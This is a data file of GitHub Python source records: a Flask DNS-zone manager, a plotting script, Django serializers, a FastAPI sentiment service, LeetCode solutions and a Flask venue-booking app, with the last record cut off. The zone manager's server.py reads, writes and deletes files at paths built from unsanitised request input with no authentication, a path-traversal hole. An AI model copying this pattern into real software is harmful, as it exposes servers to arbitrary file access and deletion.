{"seq_id": "16841091311", "text": "import os\nfrom flask import Flask, render_template, request\nfrom flask import json\nfrom flask import send_from_directory\nfrom jinja2 import Template\n\napp = Flask(__name__)\n\n\n@app.route('/assets/')\ndef send_assets(path):\n    return send_from_directory('templates/assets', path)\n\n\n@app.route(\"/login\")\ndef login():\n    return render_template(\"login.html\")\n\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\", content=\"dashboard.html\")\n\n\n@app.route(\"/zone-index\")\ndef zone_index():\n    data = []\n    for dirname, dirnames, filenames in os.walk('zones'):\n        for filename in filenames:\n            with open('zones/' + filename) as data_file:\n                data.append(json.load(data_file))\n\n    return render_template(\"index.html\", content=\"zone-index.html\", zones=data)\n\n\n@app.route(\"/zone-add\")\ndef zone_add():\n    data = None\n    if request.args.get('domain'):\n        with open('zones/' + request.args.get('domain') + '.json') as data_file:\n            data = json.load(data_file)\n\n    return render_template(\"index.html\", content=\"zone-add.html\", data=data)\n\n\n@app.route(\"/zone-save\", methods=[\"POST\"])\ndef zone_save():\n    if request.is_json:\n        data = request.json\n        with open('zones/' + data['domain'] + \".json\", 'w') as outfile:\n            json.dump(data, outfile)\n        return \"0\"\n    return \"1\"\n\n\n@app.route(\"/zone-delete\", methods=[\"POST\"])\ndef zone_delete():\n    if request.is_json:\n        data = request.json\n        os.remove('zones/' + data['domain'] + \".json\")\n        return \"0\"\n    return \"1\"\n\n\nif __name__ == \"__main__\":\n    app.run(port=4998, host=\"0.0.0.0\")\n", "repo_name": "PowerDNS-AA/AA", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 22, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.json.load", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.json.load", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.is_json", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.json.dump", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.request.is_json", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "75058754469", "text": "import os, sys\r\nimport matplotlib.pyplot as plt\r\nimport json\r\nfrom utils import init_root\r\n\r\n\r\ndef load_data_file(path: str):\r\n    with open(path, \"r\", encoding=\"ascii\") as f:\r\n        text = f.read()\r\n\r\n    try:\r\n        return json.loads(text)\r\n    except:\r\n        ret = {}\r\n        for line in text.split(\"\\n\"):\r\n            line = line.strip()\r\n            if len(line) > 1:\r\n                k, v = line.split(\": \")\r\n                ret[k] = [float(x) for x in v[1:-1].split(\", \")]\r\n        return ret\r\n\r\n\r\ndef plot(axis, models):\r\n    root_dir = init_root()\r\n\r\n    plt.title(axis)\r\n    plt.xlabel(\"Epoch\")\r\n    plt.ylabel(\"Accuracy (%)\" if \"Acc\" in axis else \"Loss\")\r\n\r\n    for model in models:\r\n        data = load_data_file(os.path.join(root_dir, \"vis_lang\", model, \"raw_data\"))[\r\n            axis\r\n        ]\r\n        plt.plot(list(range(len(data))), data, label=model)\r\n\r\n    plt.legend()\r\n    plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    if len(sys.argv) < 2:\r\n        print(\"Usage: python plot.py    ...\")\r\n        exit()\r\n\r\n    axis = sys.argv[1]\r\n    models = sys.argv[2:]\r\n\r\n    plot(axis, models)\r\n", "repo_name": "bdevnani3/vis_lang", "sub_path": "zero_shot/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 1146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.loads", "line_number": 12, "usage_type": "call"}, {"api_name": "utils.init_root", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 46, "usage_type": "attribute"}]}
{"seq_id": "74646322469", "text": "from django.contrib.auth.models import User\nfrom rest_framework import serializers\n\nfrom books.models import Book, Comment, Genre, Author\n\n\nclass BookSerializer(serializers.ModelSerializer):\n    author_name = serializers.CharField(source='author.full_name', read_only=True)\n    book_genres = serializers.StringRelatedField(source='genres', many=True, read_only=True)\n\n    class Meta:\n        model = Book\n        fields = (\n            'id', 'title', 'thumbnail', 'published_year', 'author_name', 'author', 'description', 'genres',\n            'book_genres')\n        extra_kwargs = {\n            'author': {'write_only': True},\n            'genres': {'write_only': True},\n        }\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n    username = serializers.CharField(source='user.username', read_only=True)\n\n    class Meta:\n        model = Comment\n        fields = ('text', 'username', 'created_at')\n        extra_kwargs = {\n            'username': {'read_only': True},\n            'created_at': {'read_only': True},\n        }\n\n\nclass BookDetailsSerializer(BookSerializer):\n    comments = CommentSerializer(many=True, read_only=True)\n\n    class Meta:\n        model = Book\n        fields = (\n            'id', 'title', 'thumbnail', 'published_year', 'author_name', 'author', 'description', 'genres',\n            'book_genres', 'page_amount', 'comments')\n\n\nclass UserSerializer(serializers.ModelSerializer):\n    bookmarks = BookSerializer(many=True, read_only=True)\n\n    class Meta:\n        model = User\n        fields = ('id', 'username', 'first_name', 'last_name', 'bookmarks')\n\n\nclass GenreSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Genre\n        fields = ('id', 'title')\n\n\nclass AuthorSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Author\n        fields = ('id', 'full_name')\n\n", "repo_name": "TeamForLabs/book-forum", "sub_path": "backend/books/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 1843, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 7, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 7, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 8, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 9, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "books.models.Book", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 23, "usage_type": "name"}, {"api_name": "books.models.Comment", "line_number": 26, "usage_type": "name"}, {"api_name": "books.models.Book", "line_number": 38, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 44, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 48, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 52, "usage_type": "name"}, {"api_name": "books.models.Genre", "line_number": 54, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 58, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 58, "usage_type": "name"}, {"api_name": "books.models.Author", "line_number": 60, "usage_type": "name"}]}
{"seq_id": "25758863551", "text": "import sentivi\nfrom typing import Optional\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel\nfrom sentivi import Pipeline\nfrom fastapi import Form\nfrom fastapi.responses import HTMLResponse\n\n\nclass ResponseModel(BaseModel):\n    polarity: int\n    label: str\n\n    class Config:\n        schema_extra = {\n            'example': [\n                {\n                    'polarity': 0,\n                    'label': '#NEG',\n                },\n                {\n                    'polarity': 1,\n                    'label': '#NEU',\n                },\n                {\n                    'polarity': 2,\n                    'label': '#POS'\n                }\n            ]\n        }\n\n\nclass RESTServiceGateway:\n    server = FastAPI(\n        title='Sentivi Web Services',\n        description='A simple tool for sentiment analysis',\n        version=sentivi.__version__\n    )\n\n    pipeline: Optional[Pipeline] = None\n\n    tags_metadata = [\n        {\n            'name': 'Predictor',\n            'description': 'Sentiment Predictor'\n        }\n    ]\n\n    response_models = {\n        'foo': {\n            'polarity': 'Numeric polarity',\n            'label': 'Label from piplines\\' label set'\n        }\n    }\n\n    def __init__(self, pipeline: Optional[Pipeline], *args, **kwargs):\n        super(RESTServiceGateway, self).__init__(*args, **kwargs)\n\n        RESTServiceGateway.pipeline = pipeline\n        print('Initialized REST Service Gateway')\n\n    @staticmethod\n    @server.get('/', response_class=HTMLResponse)\n    async def index():\n        return '
Hello, World
'\n\n    @staticmethod\n    @server.post('/get_sentiment/', tags=['Predictor'], response_model=ResponseModel)\n    async def get_sentiment(text: str = Form(...,\n                                             title='Input text',\n                                             description='Input text for sentiment analysis')):\n        \"\"\"\n        POST method\n\n        :param text:\n        :return:\n        \"\"\"\n        try:\n            polarities = RESTServiceGateway.pipeline.predict([text])\n            polarity = polarities[0]\n            label = RESTServiceGateway.pipeline.decode_polarity(polarities)[0]\n        except Exception as ex:\n            polarity = -1\n            label = 'ERROR'\n            print(f'Error has occurred!!!\\n{ex}')\n\n        return {\n            'polarity': polarity,\n            'label': label\n        }\n\n    @staticmethod\n    def get_server():\n        return RESTServiceGateway.server\n", "repo_name": "vndee/sentivi", "sub_path": "sentivi/service.py", "file_name": "service.py", "file_ext": "py", "file_size_in_byte": 2474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pydantic.BaseModel", "line_number": 10, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 34, "usage_type": "call"}, {"api_name": "sentivi.__version__", "line_number": 37, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 40, "usage_type": "name"}, {"api_name": "sentivi.Pipeline", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 56, "usage_type": "name"}, {"api_name": "sentivi.Pipeline", "line_number": 56, "usage_type": "name"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 63, "usage_type": "name"}, {"api_name": "fastapi.Form", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "31622159618", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n@Project ：LeetCodePthonVersion \n@File ：15. 三数之和.py\n@Author ：HuntingGame\n@Date ：2023-02-01 20:15 \nC'est la vie!!! enjoy ur day :D\n'''\nfrom typing import List\n\n\nclass Solution:\n    \"\"\"\n    这是第一个解题的思路，就是正着遍历，但是这样不好，因为有一个数组的insert插入；\n    那么第二个思路就是倒着遍历，就不用insert了。见下面的代码\n    \"\"\"\n    def threeSum(self, nums: List[int]) -> List[List[int]]:\n        nums.sort()\n        ans = []\n        for i in range(len(nums)-2):\n            if i==0 or nums[i-1] !=nums[i]:\n                nexts = self.twoSum(nums,i + 1,-nums[i])\n                for cur in nexts:\n                    cur.insert(0,nums[i])\n                    ans.append(cur)\n        return ans\n    def twoSum(self,nums,begin,target):\n        L = begin\n        R = len(nums) - 1\n        ans = []\n        while L < R:\n            if nums[L] + nums[R] > target:\n                R -=1\n            elif nums[L] + nums[R] < target:\n                L +=1\n            else:\n                if L == begin or nums[L-1]!=nums[L]:\n                    ans.append([nums[L],nums[R]])\n                L+=1\n        return ans\n\nclass Solution:\n    \"\"\"\n    这是第二个解题的思路，就是到着遍历。\n    \"\"\"\n    def threeSum(self, nums: List[int]) -> List[List[int]]:\n        nums.sort()\n        ans = []\n        for i in range(len(nums)-1,1,-1):\n            if i==len(nums)-1 or nums[i] !=nums[i+1]:\n                nexts = self.twoSum(nums,i-1,-nums[i])\n                for cur in nexts:\n                    cur.append(nums[i])\n                    ans.append(cur)\n        return ans\n    def twoSum(self,nums,end,target):\n        L = 0\n        R = end\n        ans = []\n        while L < R:\n            if nums[L] + nums[R] > target:\n                R -=1\n            elif nums[L] + nums[R] < target:\n                L +=1\n            else:\n                if L == 0 or nums[L-1]!=nums[L]:\n                    ans.append([nums[L],nums[R]])\n                L+=1\n        return ans", "repo_name": "enternityFan/LeetCodePythonVersion", "sub_path": "leetcode100/15. 三数之和.py", "file_name": "15. 三数之和.py", "file_ext": "py", "file_size_in_byte": 2106, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 47, "usage_type": "name"}]}
{"seq_id": "16620613438", "text": "#----------------------------------------------------------------------------#\n# Imports\n#----------------------------------------------------------------------------#\nfrom datetime import date\nimport json\nimport dateutil.parser\nimport babel\nfrom flask import Flask, render_template, request, Response, flash, redirect, url_for, jsonify\nfrom flask_moment import Moment\nfrom flask_sqlalchemy import SQLAlchemy\nimport logging\nfrom logging import Formatter, FileHandler, error\nfrom flask_wtf import Form\nfrom forms import *\nfrom flask_migrate import Migrate\nfrom model import db, Venue, Artist, Show\nimport sys\n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\napp = Flask(__name__)\nmoment = Moment(app)\napp.config.from_object('config')\ndb.init_app(app)\ndb.app = app\nmigrate = Migrate(app, db)\n\n#----------------------------------------------------------------------------#\n# Filters.\n#----------------------------------------------------------------------------#\ndef format_datetime(value, format='medium'):\n  if isinstance(value, str):\n    date = dateutil.parser.parse(value)\n  else:\n    date = value\n  if format == 'full':\n      format=\"EEEE MMMM, d, y 'at' h:mma\"\n  elif format == 'medium':\n      format=\"EE MM, dd, y h:mma\"\n  return babel.dates.format_datetime(date, format, locale='en')\napp.jinja_env.filters['datetime'] = format_datetime\n\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n@app.route('/')\ndef index():\n  return render_template('pages/home.html')\n  \n#----------------------------------------------------------------------------#\n# Venues.\n#----------------------------------------------------------------------------#\n@app.route('/venues')\ndef venues():\n  data = []\n  venue = db.session.query(Venue.city, Venue.state).distinct(Venue.city, Venue.state)\n  for venues in venue:\n    venues_city_state = db.session.query(Venue.id, Venue.name).filter(Venue.city == venues[0]).filter(Venue.state == venues[1])\n    data.append({\n      \"city\": venues[0],\n      \"state\": venues[1],\n      \"venues\": venues_city_state\n    })\n  return render_template('pages/venues.html', areas=data)\n\n#----------------------------------------------------------------------------#\n# Create venue.\n#----------------------------------------------------------------------------#\n@app.route('/venues/create', methods=['GET'])\ndef create_venue_form():\n  form = VenueForm()\n  return render_template('forms/new_venue.html', form=form)\n\n@app.route('/venues/create', methods=['POST'])\ndef create_venue_submission():\n  form = VenueForm()\n  try:\n    venues = Venue(\n      name = form.name.data,\n      city = form.city.data,\n      state = form.state.data,\n      address = form.address.data,\n      phone = form.phone.data,\n      genres = form.genres.data,\n      facebook_link = form.facebook_link.data,\n      image_link = form.image_link.data,\n      website_link = form.website_link.data,\n      seeking_talent = form.seeking_talent.data,\n      seeking_description = form.seeking_description.data\n    )\n    db.session.add(venues)\n    db.session.commit()\n    flash('Venue ' + request.form['name'] + ' was successfully listed!')\n  except:\n    db.session.rollback()\n    print(sys.exc_info())\n    flash('Venue ' + request.form['name'] + ' was not listed')\n  finally:\n    db.session.close()  \n  return redirect(url_for('index'))\n\n#----------------------------------------------------------------------------#\n# Venue.\n#----------------------------------------------------------------------------#\n@app.route('/venues/')\ndef show_venue(venue_id):\n  venue = Venue.query.get(venue_id)\n  list_shows = db.session.query(Show).filter(Show.venue_id == venue_id)\n  past_shows = []\n  upcoming_shows = []\n  for show in list_shows:\n    artist = db.session.query(Artist.name, Artist.image_link).filter(Artist.id == show.artist_id).one()\n    show_add = {\n        \"artist_id\": show.artist_id,\n        \"artist_name\": artist.name,\n        \"artist_image_link\": artist.image_link,\n        \"start_time\": show.start_time.strftime('%m/%d/%Y')\n        }\n    if (show.start_time < datetime.now()):\n        past_shows.append(show_add)\n    else:\n        upcoming_shows.append(show_add)\n  data = {\n    \"id\": venue.id,\n    \"name\": venue.name,\n    \"genres\": venue.genres,\n    \"address\": venue.address,\n    \"city\": venue.city,\n    \"state\": venue.state,\n    \"phone\": venue.phone,\n    \"website\": venue.website_link,\n    \"facebook_link\": venue.facebook_link,\n    \"seeking_talent\": venue.seeking_talent,\n    \"seeking_description\": venue.seeking_description,\n    \"image_link\": venue.image_link,\n    \"past_shows\": past_shows,\n    \"upcoming_shows\": upcoming_shows,\n    \"past_shows_count\": len(past_shows),\n    \"upcoming_shows_count\": len(upcoming_shows),\n  }\n  return render_template('pages/show_venue.html', venue=data)\n\n#----------------------------------------------------------------------------#\n# Venues search.\n#----------------------------------------------------------------------------#\n@app.route('/venues/search', methods=['POST'])\ndef search_venues():\n  venue = db.session.query(Venue).filter(Venue.name.ilike('%' + request.form['search_term'] + '%'))\n  data = []\n  for venues in venue:\n    num_upcoming_shows = Show.query.filter(Show.venue_id == Venue.id, Show.start_time > datetime.now()).count()\n    data.append({\n      \"id\": venues.id,\n      \"name\": venues.name,\n      \"num_upcoming_shows\": num_upcoming_shows\n    })\n  response={\n    \"count\": len(data), \n    \"data\": data\n  }\n  return render_template('pages/search_venues.html', results=response, search_term=request.form.get('search_term', ''))\n\n#----------------------------------------------------------------------------#\n# Delete venue.\n#----------------------------------------------------------------------------#\n@app.route('/venues//delete', methods=['GET', 'DELETE'])\ndef delete_venue(venue_id):\n  try:\n    venue = Venue.query.get_or_404(venue_id)\n    db.session.delete(venue)\n    db.session.commit()\n    flash('Venue ' + venue.name + ' was successfully deleted')\n  except:\n    db.session.rollback()\n    flash('Venue ' + venue.name + ' was not deleted')\n  finally:\n    db.session.close()\n  return redirect(url_for('index'))\n\n#----------------------------------------------------------------------------#\n# Edit venue.\n#----------------------------------------------------------------------------#\n@app.route('/venues//edit', methods=['GET'])\ndef edit_venue(venue_id):\n  venue = Venue.query.get(venue_id)\n  form = VenueForm(obj=venue)\n  return render_template('forms/edit_venue.html', form=form, venue=venue)\n\n@app.route('/venues//edit', methods=['POST'])\ndef edit_venue_submission(venue_id):\n  venue = Venue.query.get(venue_id)\n  form = VenueForm(request.form, obj=venue)\n  if not form.validate_on_submit():\n    flash(\"Invalid form!\")\n    return render_template('forms/edit_venue.html', form=form, venue=venue)\n  try:\n    form.populate_obj(venue)\n    db.session.commit()\n    flash(\"Venue is successfully edited\")\n  except:\n    db.session.rollback()\n    flash(\"An error occurred!\")\n  return redirect(url_for('show_venue', venue_id=venue_id))\n\n#----------------------------------------------------------------------------#\n# Artists.\n#----------------------------------------------------------------------------#\n@app.route('/artists')\ndef artists():\n  data = []\n  artist = Artist.query.all()\n  for artists in artist:\n    data.append({\n      \"id\": artists.id,\n      \"name\": artists.name\n    })\n  return render_template('pages/artists.html', artists=data)\n\n#----------------------------------------------------------------------------#\n# Artists search.\n#----------------------------------------------------------------------------#\n@app.route('/artists/search', methods=['POST'])\ndef search_artists():\n  artist = db.session.query(Artist).filter(Artist.name.ilike('%' + request.form['search_term'] + '%'))\n  data = []\n  for artists in artist:\n    num_upcoming_shows = Show.query.filter(Show.artist_id == Artist.id, Show.start_time > datetime.now()).count()\n    data.append({\n      \"id\": artists.id,\n      \"name\": artists.name,\n      \"num_upcoming_shows\": num_upcoming_shows\n    })\n  response={\n    \"count\": len(data),\n    \"data\": data\n  }\n  return render_template('pages/search_artists.html', results=response, search_term=request.form.get('search_term', ''))\n\n#----------------------------------------------------------------------------#\n# Artist.\n#----------------------------------------------------------------------------#\n@app.route('/artists/')\ndef show_artist(artist_id):\n  artist = Artist.query.get(artist_id)\n  list_shows = db.session.query(Show).filter(Show.artist_id == artist_id)\n  past_shows = []\n  upcoming_shows = []\n  for show in list_shows:\n    venue = db.session.query(Venue.name, Venue.image_link).filter(Venue.id == show.venue_id).one()\n    show_add = {\n      \"venue_id\": show.venue_id,\n      \"venue_name\": venue.name,\n      \"venue_image_link\": venue.image_link,\n      \"start_time\": show.start_time.strftime('%m/%d/%Y')\n    }\n    if (show.start_time < datetime.now()):\n      past_shows.append(show_add)\n    else:\n      print(show_add, file=sys.stderr)\n      upcoming_shows.append(show_add)\n  data = {\n    \"id\": artist.id,\n    \"name\": artist.name,\n    \"genres\": artist.genres,\n    \"city\": artist.city,\n    \"state\": artist.state,\n    \"phone\": artist.phone,\n    \"website\": artist.website_link,\n    \"facebook_link\": artist.facebook_link,\n    \"seeking_venue\": artist.seeking_venue,\n    \"seeking_description\": artist.seeking_description,\n    \"image_link\": artist.image_link,\n    \"past_shows\": past_shows,\n    \"upcoming_shows\": upcoming_shows,\n    \"past_shows_count\": len(past_shows),\n    \"upcoming_shows_count\": len(upcoming_shows),\n  }\n  return render_template('pages/show_artist.html', artist=data)\n\n#----------------------------------------------------------------------------#\n# Edit artist.\n#----------------------------------------------------------------------------#\n@app.route('/artists//edit', methods=['GET'])\ndef edit_artist(artist_id):\n  artist = Artist.query.get(artist_id)\n  form = ArtistForm(obj=artist)\n  return render_template('forms/edit_artist.html', form=form, artist=artist)\n\n@app.route('/artists//edit', methods=['POST'])\ndef edit_artist_submission(artist_id):\n  artist = Artist.query.get(artist_id)\n  form = ArtistForm(obj=artist)\n  if not form.validate_on_submit():\n    flash(\"Invalid form!\")\n    return render_template('forms/edit_artist.html', form=form, artist=artist)\n  try:\n    form.populate_obj(artist)\n    db.session.commit()\n    flash(\"Artist is successfully edited\")\n  except:\n    db.session.rollback()\n    flash(\"An error occurred!\")\n  return redirect(url_for('show_artist', artist_id=artist_id))\n\n#----------------------------------------------------------------------------#\n# Create artist.\n#----------------------------------------------------------------------------#\n@app.route('/artists/create', methods=['GET'])\ndef create_artist_form():\n  form = ArtistForm()\n  return render_template('forms/new_artist.html', form=form)\n\n@app.route('/artists/create', methods=['POST'])\ndef create_artist_submission():\n  form = ArtistForm()\n  try:\n    artists = Artist(\n      name = form.name.data,\n      city = form.city.data,\n      state = form.state.data,\n      phone = form.phone.data,\n      genres = form.genres.data,\n      facebook_link = form.facebook_link.data,\n      image_link = form.image_link.data,\n      website_link = form.website_link.data,\n      seeking_venue = form.seeking_venue.data,\n      seeking_description = form.seeking_description.data\n    )\n    db.session.add(artists)\n    db.session.commit()\n    flash('Artist ' + request.form['name'] + ' was successfully listed!')\n  except:\n    db.session.rollback()\n    print(sys.exc_info())\n    flash('Artist ' + request.form['name'] + ' was not listed')\n  finally:\n    db.session.close()  \n  return redirect(url_for('index'))\n\n#----------------------------------------------------------------------------#\n# Delete artist.\n#----------------------------------------------------------------------------#\n@app.route('/artists//delete')\ndef delete_artist(artist_id):\n  try:\n    artist = Artist.query.get_or_404(artist_id)\n    db.session.delete(artist)\n    db.session.commit()\n    flash('Artist ' + artist.name + ' was successfully deleted')\n  except:\n    db.session.rollback()\n    print(sys.exc_info())\n    flash('Artist ' + artist.name + ' was not deleted')\n  finally:\n    db.session.close()\n  return redirect(url_for('index'))\n\n#----------------------------------------------------------------------------#\n# Shows.\n#---------------------------------- ------------------------------------------#\n@app.route('/shows')\ndef shows():\n  shows = Show.query.all()\n  data = []\n  for show in shows:\n    data.append({\n      \"venue_id\": show.venue_id,\n      \"venue_name\": show.Venue.name,\n      \"artist_id\": show.artist_id,\n      \"artist_name\": show.Artist.name,\n      \"artist_image_link\": show.Artist.image_link,\n      \"start_time\": str(show.start_time)\n    })\n  return render_template('pages/shows.html', shows=data)\n\n#----------------------------------------------------------------------------#\n# Create shows.\n#----------------------------------------------------------------------------#\n@app.route('/shows/create')\ndef create_shows():\n  form = ShowForm()\n  return render_template('forms/new_show.html', form=form)\n\n@app.route('/shows/create', methods=['POST'])\ndef create_show_submission():\n  form = ShowForm()\n  try:\n    shows = Show(\n      artist_id = form.artist_id.data,\n      venue_id = form.venue_id.data,\n      start_time = form.start_time.data\n    )\n    db.session.add(shows)\n    db.session.commit()\n    flash('Show was successfully listed!')\n  except:\n    db.session.rollback()\n    flash('Show was not listed')\n  finally:\n    db.session.close()\n  return redirect(url_for('index'))\n\n#----------------------------------------------------------------------------#\n# Errors.\n#----------------------------------------------------------------------------#\n@app.errorhandler(404)\ndef not_found_error(error):\n    return render_template('errors/404.html'), 404\n\n@app.errorhandler(500)\ndef server_error(error):\n    return render_template('errors/500.html'), 500\n\nif not app.debug:\n    file_handler = FileHandler('error.log')\n    file_handler.setFormatter(\n        Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n    )\n    app.logger.setLevel(logging.INFO)\n    file_handler.setLevel(logging.INFO)\n    app.logger.addHandler(file_handler)\n    app.logger.info('errors')\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n# Default port:\nif __name__ == '__main__':\n    app.run()\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n    port = int(os.environ.get('PORT', 5000))\n    app.run(host='0.0.0.0', port=port)\n'''\n", "repo_name": "abdullohdeveloper1/Fyyur", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 15242, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 22, "usage_type": "call"}, {"api_name": "flask_moment.Moment", "line_number": 23, "usage_type": "call"}, {"api_name": "model.db.init_app", "line_number": 25, "usage_type": "call"}, {"api_name": "model.db", "line_number": 25, "usage_type": "name"}, {"api_name": "model.db.app", "line_number": 26, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 26, "usage_type": "name"}, {"api_name": "flask_migrate.Migrate", "line_number": 27, "usage_type": "call"}, {"api_name": "model.db", "line_number": 27, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 34, "usage_type": "name"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 34, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 34, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 36, "usage_type": "name"}, {"api_name": "babel.dates.format_datetime", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 41, "usage_type": "argument"}, {"api_name": "babel.dates", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 49, "usage_type": "call"}, {"api_name": "model.db.session.query", "line_number": 57, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 57, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 57, "usage_type": "name"}, {"api_name": "model.Venue.city", "line_number": 57, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 57, "usage_type": "name"}, {"api_name": "model.Venue.state", "line_number": 57, "usage_type": "attribute"}, {"api_name": "model.db.session.query", "line_number": 59, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 59, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 59, "usage_type": "name"}, {"api_name": "model.Venue.id", "line_number": 59, "usage_type": "attribute"}, {"api_name": "model.Venue", "line_number": 59, "usage_type": "name"}, {"api_name": "model.Venue.name", "line_number": 59, "usage_type": "attribute"}, {"api_name": "model.Venue.city", "line_number": 59, "usage_type": "attribute"}, {"api_name": "model.Venue.state", "line_number": 59, 